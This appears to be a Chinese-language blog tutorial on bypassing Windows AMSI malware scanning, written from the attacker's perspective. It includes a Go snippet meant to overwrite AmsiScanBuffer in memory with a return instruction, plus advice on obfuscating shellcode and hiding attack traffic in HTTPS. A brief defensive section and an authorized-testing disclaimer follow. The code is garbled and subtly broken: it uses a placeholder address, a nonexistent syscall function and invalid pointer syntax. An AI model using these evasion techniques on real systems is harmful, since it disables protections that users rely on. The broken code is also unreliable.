一、从防御到攻击:AMSI的对抗之路
安全防御总是与攻击手段相伴而生。Windows平台上的Antimalware Scan Interface (AMSI) 是一个用于检测恶意软件的强大利器,它在脚本执行时实时拦截内容并传递给反病毒软件进行扫描。然而,作为攻击者,如何绕过AMSI的检测成为了我们必须面对的挑战。如果我是攻击者,我会如何利用现有技术来规避AMSI的检测呢?
AMSI的防御机制
AMSI本质上是一个接口,它允许应用程序将内容传递给反恶意软件产品进行扫描。它不仅支持PowerShell,还支持JavaScript、VBScript等多种脚本语言。AMSI在脚本执行过程中动态拦截脚本内容,并将其传递给反病毒引擎进行实时检测。因此,任何试图隐匿恶意代码的行为都需要绕过AMSI的拦截与检测。
绕过AMSI的攻击思路
从攻击者的角度来看,绕过AMSI检测的方法主要集中在以下几个方面:
- 修改脚本内容:通过混淆、编码或加密来逃避内容检测。
- 修改内存中AMSI相关结构:直接在内存中对AMSI的结构进行修改,使其失去检测能力。
- 劫持AMSI调用:通过劫持或替换AMSI的相关函数调用,从而规避检测。
下面,我们将深入探讨这些方法的具体实现。
二、构建实验环境:准备你的攻防战场
在实施任何攻击之前,搭建一个真实的实验环境是必不可少的。这不仅有助于验证攻击效果,也能确保我们的测试在一个不会造成实际伤害的沙盒中进行。
实验环境需求
- 虚拟化平台:建议使用VirtualBox或VMware创建虚拟机。
- 目标系统:Windows 10是理想的测试平台,因为它默认集成了AMSI。
- 开发工具:需要安装Go语言环境,以及常用的Shell工具。
环境配置步骤
- 创建虚拟机:安装Windows 10,确保启用了最新的安全补丁。
- 安装开发工具:下载并安装Go语言,同时安装Windows下的PowerShell。
- 配置网络隔离:确保虚拟机与主机网络隔离,以防攻击测试时的意外传播。
准备工作完成后,我们可以开始研究如何绕过AMSI的检测机制。
三、解析攻击实现:绕过AMSI的具体操作
对于攻击者而言,绕过AMSI的关键在于对内存操作及对脚本内容的动态修改。这里我们将从内存中直接修改AMSI的相关结构,进行绕过实现。
代码实现:Go和Shell的结合
以下是一个简单的示例,通过Go语言与Shell脚本结合来实现AMSI绕过:
<pre><code class="language-go">package main
import ( "fmt" "syscall" "unsafe" )
// 首先,我们定义AMSI的DLL以及所需的函数 var ( amsiDll = syscall.NewLazyDLL("amsi.dll") amsiScanBuffer = amsiDll.NewProc("AmsiScanBuffer") )
// 这是我们修改函数的关键,直接操作内存 func patchAMSI() { // 这里我们假设已经计算出目标地址 targetAddress := uintptr(0x12345678) // 示例地址 var oldProtect uintptr
// 修改内存保护属性为可写,以便我们修改内容 syscall.VirtualProtectEx(syscall.Handle(0xffffffff), targetAddress, 8, syscall.PAGE_EXECUTE_READWRITE, &oldProtect)
// 通过操作内存来修改AMSI的函数调用,使其返回成功 (uintptr)(unsafe.Pointer(targetAddress)) = 0xC3 // 这是一个简单的ret指令

// 恢复内存保护 syscall.VirtualProtectEx(syscall.Handle(0xffffffff), targetAddress, 8, oldProtect, &oldProtect) }
func main() { fmt.Println("Patching AMSI...") patchAMSI() fmt.Println("AMSI Patched!") }</code></pre>
代码解析
- 加载AMSI库:通过Go语言的syscall包加载AMSI库,并获取AmsiScanBuffer函数地址。
- 修改函数实现:直接在内存中修改AmsiScanBuffer函数的开头使其返回成功,绕过实际的扫描逻辑。
- 内存保护管理:使用VirtualProtectEx修改内存保护属性来操作内存内容,之后恢复原有的保护状态。
四、反侦察与免杀:如何让攻击更加隐蔽
在成功绕过AMSI的基础上,攻击者常常会进一步隐藏攻击行为,以逃避后续的检测或分析。这通常包括流量伪装、代码混淆等手段。
混淆与编码
- 代码混淆工具:使用工具将shellcode进行复杂的混淆,使其不易被逆向分析。
- 动态编码解码:在实际执行时动态解码攻击代码,以确保静态分析时无法获取有效信息。

协议伪装
攻击者还可能利用合法协议或流量特征来伪装攻击行为,避免被流量监测工具捕获。例如,可以将攻击流量嵌入到HTTPS流量中,使用加密通信来隐藏攻击指令。
五、检测与反制策略:如何应对AMSI绕过
绕过AMSI并不意味着攻击的成功。对于防御者而言,了解攻击者的手段同样重要,我们可以通过以下策略来加强防御:
加强检测
- 内存完整性检测:定期扫描关键DLL的内存地址,确保其内容未被非法修改。
- 行为分析:通过行为分析工具监控异常的系统调用或内存修改行为。
提升响应能力
- 部署EDR解决方案:采用高级的EDR产品,可以在攻击者绕过初级防御后提供额外的检测与响应能力。
- 实时报警与阻断:配置实时报警机制,在检测到内存篡改或非预期行为时立即阻断攻击。

六、个人实战分享:攻防博弈中的思考
在攻防对抗中,攻击者与防御者不断进化。对于攻击者,绕过AMSI只是众多技术中的一环,而对于防御者,则需不断更新和提升防御技术。通过实战,我们可以明白:
- 没有完美的攻击:任何攻击都有可能被检测,攻击者需要不断调整策略。
- 没有完美的防御:即使有AMSI,攻击者仍有可能找到绕过路径,防御者需要建立多层次的防御体系。
- 实践与分享的重要性:无论是攻击者还是防御者,实践都能提供真实的经验,而分享则能帮助社区共同成长。
本文仅供授权的安全测试使用,帮助安全研究人员更好地理解攻防对抗中的技术细节。希望通过这篇文章,你能在攻防技术上获得新的理解与启发。